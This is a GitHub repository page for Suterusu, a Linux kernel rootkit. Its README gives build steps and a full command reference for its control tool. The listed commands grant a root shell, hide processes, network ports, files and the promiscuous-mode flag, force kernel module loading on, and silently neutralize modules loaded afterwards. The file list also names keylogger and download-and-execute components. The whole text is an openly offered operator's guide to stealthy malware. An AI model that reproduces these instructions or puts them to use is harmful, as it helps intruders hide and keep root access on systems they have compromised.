Go to file
Michael Coppola b03af69015 Merge pull request #10 from lawrencehoffman/master
Upgrade main.c to reflect changes in 3.19 (Compiles under 4.8)
2017-06-07 23:20:54 -04:00
.gitignore Ignore module compilation artifacts in git 2014-03-09 16:46:47 -04:00
LICENSE Initial commit 2013-10-11 16:17:19 -07:00
Makefile Added ability to neutralize future loaded modules (thanks CERN-CERT/dresden) 2013-11-07 16:36:17 -05:00
README.md Added ability to neutralize future loaded modules (thanks CERN-CERT/dresden) 2013-11-07 16:36:17 -05:00
common.h Handle kernel versions that placed autoconf.h in include/linux/ rather than include/generated/ 2014-08-18 01:34:26 -04:00
dlexec.c Cleaned up debugging macros 2013-10-12 20:03:43 -04:00
hookrw.c Fixed bug where we dereferenced an unvalidated userspace pointer in some debugging code. Thanks spender! 2014-02-02 13:27:04 -05:00
icmp.c Cleaned up debugging macros 2013-10-12 20:03:43 -04:00
keylog.h VERY unfinished, UNTESTED code towards keylogging to file 2013-10-18 16:16:47 -04:00
keylogger.c Don't ask me how that got there 2014-09-04 22:16:26 -04:00
main.c Upgrade main.c to reflect changes in 3.19 2017-06-06 14:18:20 -06:00
module.c Added ability to neutralize future loaded modules (thanks CERN-CERT/dresden) 2013-11-07 16:36:17 -05:00
serve.c Initial commit from most recent svn 2013-10-11 19:38:58 -04:00
sock.c Added ability to neutralize future loaded modules (thanks CERN-CERT/dresden) 2013-11-07 16:36:17 -05:00
util.c Use kallsyms_on_each_symbol() to resolve symbols no matter the kernel version... it's always exported and we get to remove a LINUX_VERSION_CODE check. 2014-08-18 01:54:25 -04:00

README.md

Suterusu

Typical compilation steps:

$ wget http://kernel.org/linux-x.x.x.tar.gz
$ tar xvf linux-x.x.x.tar.gz
$ cd linux-x.x.x
$ make menuconfig
$ make modules_prepare
$ cd /path/to/suterusu
$ make linux-x86 KDIR=/path/to/kernel

To compile against the currently running kernel (kernel headers installed):

$ make linux-x86 KDIR=/lib/modules/$(uname -r)/build

If a specific toolchain is desired for cross-compilation, provide the CROSS_COMPILE variable during make:

$ make android-arm CROSS_COMPILE=arm-linux-androideabi- KDIR=/path/to/kernel

To compile the command binary:

$ gcc sock.c -o sock

Commands

Root shell

$ ./sock 0

Hide PID

$ ./sock 1 [pid]

Unhide PID

$ ./sock 2 [pid]

Hide TCPv4 port

$ ./sock 3 [port]

Unhide TCPv4 port

$ ./sock 4 [port]

Hide TCPv6 port

$ ./sock 5 [port]

Unhide TCPv6 port

$ ./sock 6 [port]

Hide UDPv4 port

$ ./sock 7 [port]

Unhide UDPv4 port

$ ./sock 8 [port]

Hide UDPv6 port

$ ./sock 9 [port]

Unhide UDPv6 port

$ ./sock 10 [port]

Hide file/directory

$ ./sock 11 [name]

Unhide file/directory

$ ./sock 12 [name]

Hide network PROMISC flag

$ ./sock 13

Unhide network PROMISC flag

$ ./sock 14

Enable module loading (force kernel.modules_disabled=0)

$ ./sock 15

Silently prohibit module loading (neutralize future loaded modules)

$ ./sock 16

Silently re-permit module loading (undo command 16)

$ ./sock 17

File/directory hiding

At the moment, file/dir hiding only hides names on the / filesystem. Note that names are hidden, not paths. For instance, giving the name ".blah" to Suterusu will hide the name ".blah" in all directories on the filesystem.